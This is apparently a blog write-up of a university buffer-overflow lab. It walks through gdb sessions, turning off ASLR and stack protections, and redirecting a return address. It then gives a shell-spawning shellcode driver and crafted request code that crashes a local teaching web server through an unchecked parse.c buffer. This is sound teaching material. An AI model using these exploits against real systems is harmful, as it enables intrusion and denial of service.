title: buffer-overflow

date: 2016-01-10 14:17:17

categories: information-security

tags: buffer-overflow

  • Excrcise1

    Now, you can write some code. Your job is to print the address of the variable buffer,

    in the C program stack1.c, and compile the C program as above.Run it three times,

    observe and write down the output addresses in address.txt, are these 3 addresses the same or not?

    • 打印首地址 运行3次 每次地址不同
      #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    void badman()
    {
    printf("I am the bad man\n");
    return;
    }
    int func(char *str)
    {
    int variable_a;
    char buffer[12];
    printf("address:%p\n",buffer);
    strcpy(buffer, str);
    return 1;
    }
    int main(int argc, char **argv)
    {
    char *buf = "hello\n";
    if(argc > 1){
    buf = argv[1];
    }
    func(buf);
    printf("Returned Properly\n");
    return 1;
    }

  • Excrcise2

    Use gdb to debug the program, as the following. You may find the online gdb documentation useful.

    • GDB常见命令
    打开gdb 调试工具:gdb -q
    (gdb)file stack1 启动待调试程序
    (gdb)b func 在函数func 处设置断点
    (gdb)r 运行程序
    (gdb)i r 查看所有寄存器的值
    (gdb)x/2s 0xbffff3a0 地址0xbffff3a0 开始读取2 个单元字符串内容
    (默认4 字节,以下相同)
    (gdb)p &buffer 打印变量buffer[]首地址
    (gdb)x/4wx 0xbffff3a0 地址0xbffff3a0 开始读取4 个单元、以4 字
    节为单位、以16 进制显示内容
    (gdb)x/8wx $ebp 寄存器ebp 开始读取8 个单元、以4 字节为单位、
    以16 进制显示内容
    (gdb)x/2i 0x08048443 查看地址0x08048443 开始2 个单元指令
    (gdb)disass func 查看函数func 的汇编代码
    (gdb)q 退出
    • 使用GDB调试示例:
    $ gdb stack1
    (gdb) b func
    Breakpoint 1 at 0x8048412: file stack.c, line 8.
    (gdb) r
    Starting program: /tmp/stack1
    8 strcpy(buffer,str);
    (gdb) info r
    eax 0x80484e8 134513896
    ecx 0xbffff504 -1073744636
    edx 0xbffff494 -1073744748
    ebx 0xb7fc8000 -1208188928
    esp 0xbffff410 0xbffff410
    ebp 0xbffff438 0xbffff438
    esi 0x0 0
    edi 0x0 0
    eip 0x8048412 0x8048412
    eflags 0x282 [ SF IF ]
    cs 0x73 115
    ss 0x7b 123
    ds 0x7b 123
    es 0x7b 123
    fs 0x0 0
    gs 0x33 51
    (gdb) x/2s 0x80484e8
    0x80484e8: "I am greater than 12 bytes"
    0x8048503: ""
    (gdb) p &buffer
    $1 = (char (*)[12]) 0xbffff424
    (gdb) x/4wx 0xbffff424
    0xbffff424: 0x08048320 0x00000000 0x080482bd 0xb7fc83e4
    (gdb) x/8wx $ebp
    0xbffff438: 0xbffff468 0x08048443 0x080484e8 0xbffff504
    0xbffff448: 0xbffff50c 0xb7e54225 0xb7fed280 0x00000000
    (gdb) x/2i 0x08048443
    0x8048443 : leave
    0x8048444 : ret
    (gdb) disass func
    Dump of assembler code for function func:
    0x0804840c : push %ebp
    0x0804840d : mov %esp,%ebp
    0x0804840f : sub $0x28,%esp
    0x08048412 : mov 0x8(%ebp),%eax
    0x08048415 : mov %eax,0x4(%esp)

  • Exercise3

    Turn off the address space layout randomization, and then do exercise 1 again,

    write down the three addresses in args.txt, are those three addresses same or not?

    • 关闭地址随机化 多次打印变量缓冲区地址相同
      sysctl -w kernel.randomize_va_space=0

  • Exercise4

    A buffer overflow occurs when data written to a buffer exceeds the length of the buffer,

    so that corrupting data values in memory addresses adjacent the end of the buffer.

    This often occurs when copying data into a buffer without sufficient bounds checking.

    You can refer to Aleph One’s famous article to figure out how buffer overflows work.

    • Now, you run the program stack1, just like below.
      $ ./stack1 aaaaaaaaaa
    Returned Properly
    $ ./stack1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    Segmentation fault

    If you don’t observe Segmentation fault, just increase the number of the input as.

    Here, the message Segmentation fault indicates that your program crashed due to invalid memory access

    (for instance, refer to memory address 0).


  • Exercise4

    Use gdb, to print the value of the register %eip when the program crashes.

    • How does the program run to this address?
    程序执行时传入参数aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    得出程序崩溃时%eip 的值为0x61
    由于传入的参数长度超过了buffer 缓冲区的大小,在进行字符
    串复制的时候,buffer[]不足以容纳传入的字符串aaaaaaaaaaaaaaaaaaa,
    导致了缓冲区溢出。

  • Exercise5

    The -z execstack option will mark the stack segment executable,

    which you’ll study in detail in lab 2.

    • May you have seen there is a function name badman in the stack1.c,

      but we never use it. Now let’s do a exercise, we’ll invoke it manually.
      $ make stack1
    $ gdb stack1 -q
    (gdb) b func
    Breakpoint 1 at 0x804844a: file stack1.c, line 20.
    (gdb) r
    Breakpoint 1, func (str=0x8048551 "hello\n") at stack1.c:20
    20 strcpy(buffer, str);
    (gdb) p badman
    $1 = {void ()} 0x804842b <badman>
    (gdb) i r $ebp
    ebp 0xffffd828 0xffffd828
    (gdb) x/wx $ebp+4
    0xffffd82c: 0x08048496
    (gdb) bt
    #0 func (str=0x8048551 "hello\n") at stack1.c:20
    #1 0x08048496 in main (argc=1, argv=0xffffd904) at stack1.c:33
    (gdb) set *0xffffd82c=0x0804842b
    (gdb) c
    Continuing.
    I am the bad man Program received signal SIGSEGV, Segmentation fault.
    0x08048556 in ?? ()
    (gdb)
    • What is stored in the address 0xFFFFd82c ?
      存放的是ret 也就是函数func()返回地址
    • Why after change its value to 0x0804842B, the function banman get invoked ?
      0x0804842b是badman()地址
      0xffffd82c是func()ret的地址
      set *0xffffd82c=0x0804842b 强制使func返回的时候进入badman()函数
      所以导致了函数badman()被调用了
    • Why the Program result s SegmentFault?
      提示信息:Program received signal SIGSEGV, Segmentation fault.
      说明了程序执行了无效的内存引用。因为在正常的代码中,没有地方
      调用函数badman(),所以执行完函数badman()返回时会发生错误。
    • IF we don't want to get a SegmentFault, what we should do ?
      不出现Segmentation fault 的思路是:保存*(ebp+4),进入函数badman()
      之后,用保存的*(ebp+4)覆盖此刻的*(ebp+4)的值,这样程序就能顺利进入到main()函数。

  • Exercise6

    • The shellcode we offered can pop up a shell, Now it’s your turn to attack the C program named stack.c

      using shellcode, you will get a shell if you succeed. You should compile and run your program as follows:
      $ make stack2
    $ ./stack2
    sh-3.2$ id
    uid=1000(seed) gid=1000(seed) groups=4(adm),20(dialout),24(cdrom),
    46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(seed)
    sh-3.2$ exit

    Here, the -fno-stack-protector option will disable gcc’s stack canary.

    Hint: you can use the gdb when necessary, but keep in mind that there are some minor differences between the result from gdb

    and that from the stand-alone executable.

    • 关闭linux内核内存地址随机化
      sysctl –w kernel.randomize_va_space=0
    • 关闭gcc编译器金丝雀
      -fno-stack-protector
    • 关闭堆栈段不可执行
      -z execstack
    • You may look up the Intel Manual to know why the shellcode works.
      #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    char shellcode[]=
    "\x31\xc0"
    "\x50"
    "\x68""//sh"
    "\x68""/bin"
    "\x89\xe3"
    "\x50"
    "\x53"
    "\x89\xe1"
    "\x99"
    "\xb0\x0b"
    "\xcd\x80" ;
    // size = 24
    int func(char *str)
    {
    char buffer[128];
    int i;
    int* ptr=(int*)str;
    for(i=6;i<40;i++)//the size of shell code 24 bytes
    *(ptr+i)=(int)buffer;//buffer首地址覆盖func()返回值
    strcpy(buffer, str);
    return 1;
    }
    int main(int argc, char**argv)
    {
    char buffer[1024];
    int i;
    for(i=0;i<strlen(shellcode);i++)
    buffer[i]=shellcode[i];
    func(buffer);
    printf("Returned Properly\n");
    return 1;
    }

  • Exercise7

    All the source code for touchstone is stored in the code repository.

    • Now compile the touchstone web server and deploy it:
      $ make
    $ ./touchstone
  • Open your browser to input this URL http://127.0.0.1:8080,

    you will get a simple “hello, world” page.

    Study the web server's code, and look for code vulnerability which can be exploited to crash

    the server by buffer overflows, pay special attention to the file parse.c.

    Write down a description of each vulnerability in the file named bugs.txt.

    • Note:

      For each vulnerability, how you would construct the input (i.e., the HTTP request) to overflow the buffer,

      Locate at least one vulnerabilities. Here is a tutorial of the HTTP protocol,

      you can focus on the GET request.
    • parse.c
      getToken 函数对' '和'\r\n'以外字符直接进行存储,并且都不经过数组边界检查,所以s数
    组是很容易溢出的,而且当遇到'\r'时,如果后面没有'\n',输入的字符也会被一概存入s; s 数组溢出之后不仅可以修改return address 从而改变程序执行流,而且可以修改参数fd,
    比如我们可以将其改为0,那么当getToken 再调用getChar 时,read 函数会去标准输入
    读取字符,这样就可以使服务器端程序停住,而客户端浏览器处于”死等“状态。

  • Excrcise8

    • Even though the vulnerability has been detected in the web server, it’s still difficult for you to crash the server,

      because your browser will do most of the dirty work for you that you can not control, that is,

      you can only do good things with such a browser. So, as a hacker, you have to write your own browser from scratch.

    • We have offered you a simple browser in the file browser.c, basically,

      this browser will construct an http request and then send to the web server, waiting for the server’s response.

    • construct an input to send to the touchstone web server

        For the buffer overflow vulnerability you've found,
    construct an input to send to the touchstone web server,
    your goal is to crash the web server (the http server daemon).
    Note: if you're successful to crash the web server,
    your browser will remain dead-waiting to receive data from the server.
    Don't forget that any valid request must end up with \r\n\r\n.
    • browser.c
      对于以上找到的漏洞,在browser.c 中添加请求字符串,达到crash sever 的目的,
    效果是客户端一直处于等待response 的状态。
    攻击的关键在于找到返回地址所在的地址,我们可以用gdb 调试的方法找到这个地址,
    也可以在parse.c 中输出s 和fd 的地址,
    那么ret 就在&fd 这个地址,这里之所以还要找到s 的地址是因为,返回地址的下一个字存放的是fd,
    我们如果改变了fd,那么调用getChar 时,read 函数不再是去客户端socket 读取值,
    而是根据文件描述符fd 去其它文件读了。 编写一个无限循环的shellcode,如
    while(1);
    编译后用objdump 可以查看其机器码,我们可以看到是eb fe,
    我们将NOP,shellcode,addr分别填入大小为&fd-s 的数组,
    还有一个关键处是我们还要在数组最后加一个' ',这是getToken 函数的出口之一,另一个是'\r\n'.
    将shellcode 代码存入缓冲区,在最后一个字节填入' ',具体的代码如下:
    char req[1065];
    int i;
    for(i=0;i<1064;++i)
    req[i] = 0;
    for(i=0;i<strlen(shellcode);++i)
    req[i] = shellcode[i];
    *((int*)(req+1060)) = 0xbffff9e8;//该地址为getToken 的s 数组地址
    req[1064] = ' ';
    write(sock_client,req,1065);
    根据找到的另一漏洞,我们可以不用shellcode,达到同样的效果,就是将fd 的内容改为0,
    让read 函数等待标准输入,代码如下:
    char req[1069];
    int i;
    for(i=0;i<1068;++i)
    req[i] = 0;
    req[1068] = ' ';
    write(sock_client,req,1069);

  • Excrcise9

    Crashing the web server is just the first step, now you should try to do some thing interesting,

    say, to delete some sensitive files (for example, the grades.txt). To start with,

    you can use the program create-shellcode.c,

    to construct your shellcode, you may have to modify the file according to your need.

    And you can copy your shellcode to the C program test-shell.c.

    • delete grades.txt
      Perform your attack by constructing an exploit that hijacks control flow of the web server
    and unlink (delete) grades.txt.
    Remember that the web server is on your computer,
    so you should create a file named grades.txt first.

信息安全实验一:buffer-overflow的更多相关文章

  1. SEED信息安全实验系列:缓冲区溢出漏洞实验

    缓冲区溢出漏洞实验 本课程详细出自http://www.shiyanlou.com/courses/231,转载请注明出处. 一.实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情 ...

  2. 科软-信息安全实验1-ICMP重定向

    目录 一 前言 二 Talk is cheap, show me the code 三 效果演示 四 遇到的问题&解决 一 前言 文章不讲解理论知识哈,想学习理论知识的,认真听课

  3. ubuntu 14.04 ns2.35 ***buffer overflow detected **: ns terminated解决办法

    1.按照如下教程安装 Install With Me !: How to Install NS-2.35 in Ubuntu-13.10 / 14.04 (in 4 easy steps) 2.运行一 ...

  4. Kingsoft Office Writer 2012 8.1.0.3385 - (.wps) Buffer Overflow Exploit (SEH)

    #!/usr/bin/python # Exploit Title: Kingsoft Office Writer v2012 8.1.0.3385 .wps Buffer Overflow Expl ...

  5. ORA-20000:ORU-10027:buffer overflow,limit of 2000 bytes.

     ORA-20000:ORU-10027:buffer overflow,limit of 2000 bytes.  这是因为在过程中用到了dbms_output.put_line()在服务器端输出信 ...

  6. Buffer Overflow Study

    -- These days I learned and studied buffer overflow. I like to write on the paper and it can keep sy ...

  7. buffer overflow

    Computer Systems A Programmer's Perspective Second Edition We have seen that C does not perform any ...

  8. buffer overflow vulnerabilitie

    Computer Systems A Programmer's Perspective Second Edition Avoiding security holes.For many years,bu ...

  9. 信息安全实验二:return-to-libc

    title: return-to-libc date: 2016-01-11 17:40:30 categories: information-security tags: return-to-lib ...

随机推荐

  1. ASPNET登陆总结

    昨天晚上看了视频,今天早上起来就凭着记忆与视频里的代码试着做了一个登陆,基本功能是实现了. 0x0:首先,第一步是做一个界面....直接扒别人做好的页面.....各种改改路径啥的,用浏览器打开,恩,发 ...

  2. HDOJ(HDU) 1859 最小长方形(水题、、)

    Problem Description 给定一系列2维平面点的坐标(x, y),其中x和y均为整数,要求用一个最小的长方形框将所有点框在内.长方形框的边分别平行于x和y坐标轴,点落在边上也算是被框在内 ...

  3. Nodejs in Visual Studio Code 02.学习Nodejs

    1.开始 源码下载:https://github.com/sayar/NodeMVA 在线视频:https://mva.microsoft.com/en-US/training-courses/usi ...

  4. 创建一个Android工程

    Creating an Android Project 原文演示了怎么通过Android Studio和命令行两种方式来创建一个Android工程. 原文链接:http://developer.and ...

  5. 对openflow 1.0协议的扩展

    通过这几天对openvswitch代码的分析,以及项目的须要,须要对openflow 1.0进行一定的扩展,发现网上没有这方面的教程,尽管在搞懂ovs代码架构,floodlight controlle ...

  6. Android Toast 提示按两次返回键退出

    public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceS ...

  7. 通过模拟器和ida搭建Android动态调试环境的问题

    这几天在学Android的native层逆向.在按照教程用ida搭建动态调试环境时,第一步是把android_server 放到手机里执行,但是在手机里可以,在genymotion模拟器上就提示 no ...

  8. 【iOS解决思路】得到某个view所在的ViewController

    在一个tableViewCell中有个btn,如何得到它所在的viewcontroller,以便于push出新的viewController? 我的思路是传值,但网上有下面这种方法,分享. 跟得到某个 ...

  9. [转] gdb中忽略信号处理

    信号(Signals) 信号是一种软中断,是一种处理异步事件的方法.一般来说,操作系统都支持许多信号.尤其是UNIX,比较重要应用程序一般都会处理信号.UNIX定义了许 多信号,比如SIGINT表示中 ...

  10. Swift中面向协议的编程

    什么是面向协议的编程? 面向协议的编程,是一种编程范式. 编程范式,是一个计算机科学用语.维基百科中的解释是,计算机编程的基本风格或典型模式.通俗来说,就是解决某一个问题的方法不同方法和思路. 像大家 ...